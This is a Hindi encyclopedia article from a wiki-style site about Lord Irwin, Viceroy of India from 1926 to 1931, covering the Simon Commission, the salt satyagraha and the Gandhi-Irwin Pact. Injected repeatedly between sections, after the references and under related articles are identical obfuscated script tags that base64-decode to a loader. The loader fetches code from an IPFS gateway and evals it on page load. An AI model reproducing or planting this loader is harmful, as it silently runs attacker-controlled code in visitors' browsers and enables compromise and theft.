एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

लॉर्ड इरविन

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 11:50, 25 अप्रैल 2012 का अवतरण (→‎सत्याग्रह आन्दोलन)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
लॉर्ड इरविन

इरविन का पूरा नाम 'लॉर्ड एडवर्ड फ़्रेडरिक लिन्डले वुड इरविन' था। ये द्वितीय बाइकाउण्ट 'हैलिफ़ैक्स' का पुत्र था। इसका जन्म 1881 ई. में हुआ था। इसने ईटन में शिक्षा प्राप्त की और 1910 से 1925 ई. तक ब्रिटिश पार्लियामेंट का सदस्य रहा। इस दौरान ब्रिटिश मंत्रिमंडल के विविध पदों पर भी वह रहा। गाँधी जी के नमक सत्याग्रह आन्दोलन के कारण सारे भारत में बड़ी ही हलचल का माहौल था। लॉर्ड इरविन ने युक्ति पूर्वक काम लिया और गाँधी जी के साथ में एक समझौता किया, जो 'गाँधी-इरविन समझौते' के नाम से प्रसिद्ध है। इरविन के कार्यकाल के दौरान ही 12 मार्च, 1930 ई. में सविनय अवज्ञा आन्दोलन गाँधी जी द्वारा आरम्भ किया गया। लाला लाजपत राय की मृत्यु के बदलें में 'भारती चरमपंथियों' द्वारा दिल्ली के असेम्बली हॉल में 1929 ई. में बम फेंका गया। 1929 ई. में ही प्रसिद्ध 'लाहौर षड्यंत्र' एवं स्वतंत्रता सेनानी जतिनदास की 64 दिन की भूख हड़ताल के बाद जेल में मृत्यु की घटना हुई थी।

भारत का वायसराय

1926 ई. से 1931 ई. तक वह भारत का वायसराय तथा गवर्नर-जनरल रहा। भारत के वायसराय के रूप में उसका कार्यकाल अत्यन्त तूफ़ानी कहा गया। 1920 ई. में आरम्भ किया गया असहयोग आन्दोलन उस समय भी जारी था। 1919 ई. के 'गवर्नमेंट ऑफ़ इंडिया एक्ट' की कार्यविधि का मूल्यांकन करने के लिए, जो साइमन कमीशन नियुक्त किया गया था, उसके सभी सदस्य अंग्रेज़ थे। उसमें कोई भी भारतीय सदस्य न नियुक्त किये जाने से सारे देश में गहरी राजनीतिक अशान्ति फैल गई। लॉर्ड इरविन ने भारतीय जनमत को शान्त करने के उद्देश्य से 31 अक्टूबर को ब्रिटिश सरकार से परामर्श करके घोषणा की कि, औपनिवेशिक स्वराज्य की स्थापना भारत की संवैधानिक प्रगति का स्वाभाविक लक्ष्य है और साइमन कमीशन की रिपोर्ट मिलने के बाद पार्लियामेंट में नया भारतीय संवैधानिक बिल पेश किये जाने से पूर्व लंदन में सभी भारतीय राजनीतिक पार्टियों का एक गोलमेज सम्मेलन बुलाया जाएगा।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कांग्रेस का अधिवेशन

गोलमेज सम्मेलन के तुरन्तु बाद ही ब्रिटिश अधिकारियों ने औपनिवेशक स्वराज्य की व्याख्या करते हुए स्पष्ट कर दिया कि, उसका आशय कनाडा जैसे औपनिवेशक स्वराज्य प्राप्त देश का दर्जा प्रदान करना नहीं है, बल्कि भारत को एक अधीनस्थ देश बनाए रखकर उसे स्वायत्तशासी सरकार प्रदान करना है। इस स्पष्टीकरण के फलस्वरूप लॉर्ड इरविन की घोषणा भारतीय राष्ट्रीय कांग्रेस को संतोष नहीं प्रदान कर सकी और 1929 ई. में 'लाहौर अधिवेशन' में घोषणा कर दी गई कि, कांग्रेस का ध्येय पूर्ण स्वाधीनता है।

सत्याग्रह आन्दोलन

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कांग्रेस ने 1930 ई. में महात्मा गांधी के नेतृत्व में सत्याग्रह आन्दोलन शुरू किया। गांधी जी ने अपने कुछ अनुयायियों के साथ 'दांडी यात्रा' की ओर कूच किया और जानबूझकर सरकार का 'नमक क़ानून' तोड़ा। यह 'नमक सत्याग्रह आन्दोलन' शीघ्र ही सारे देश में फैल गया, जिससे भारी हलचल मच गई। लॉर्ड इरविन ने युक्तिपूर्वक स्थिति को सम्भालने का प्रयास किया। एक ओर तो उसने क़ानून और व्यवस्था को बनाये रखने के लिए राज्य की सारी शक्ति लगा दी तथा 'कांग्रेस वर्किंग कमेटी' के सभी सदस्यों को गिरफ्तार कर लिया। दूसरी ओर वह महात्मा गांधी से समझौता वार्ता चलाता रहा। वह गांधी जी से कई बार मिला और अंत में 'गाँधी-इरविन समझौता' हो गया।

समझौते की शर्तें

इस समझौते के अनुसार कांग्रेस ने सत्याग्रह आन्दोलन स्थगित कर दिया और वह गोलमेज सम्मेलन के दूसरे अधिवेशन में गांधी जी को अपना एकमात्र प्रतिनिधि बनाकर भेजने को तैयार हो गई। कांग्रेस ने इस सम्मेलन के पहले अधिवेशन का बहिष्कार किया था। उधर सरकार ने भी सभी राजनीतिक बंदियों को रिहा कर दिया। सिर्फ़ उन बंदियों को नहीं छोड़ा गया, जिन पर हिंसात्मक उपद्रवों में भाग लेने के आरोप थे।

अवकाश

गांधी-इरविन समझौते के एक महीने के बाद लॉर्ड इरविन ने भारत के वायसराय के पद से अवकाश ग्रहण कर लिया और अपने उत्तराधिकारी लॉर्ड विलिंगडन पर यह भार छोड़ दिया कि, वह चाहे तो उसकी नीति को आगे बढ़ाए और न चाहे तो समाप्त कर दे। भारत से अवकाश ग्रहण करके लॉर्ड इरविन 1940 ई. से 1946 ई. तक अमेरिका में ब्रिटिश राजदूत रहा। 1944 ई. में उसे 'अर्ल ऑफ़ हैलिफ़ैक्स' की पदवी प्रदान की गई।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

भट्टाचार्य, सच्चिदानन्द भारतीय इतिहास कोश, द्वितीय संस्करण-1989 (हिन्दी), भारत डिस्कवरी पुस्तकालय: उत्तर प्रदेश हिन्दी संस्थान, 54।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>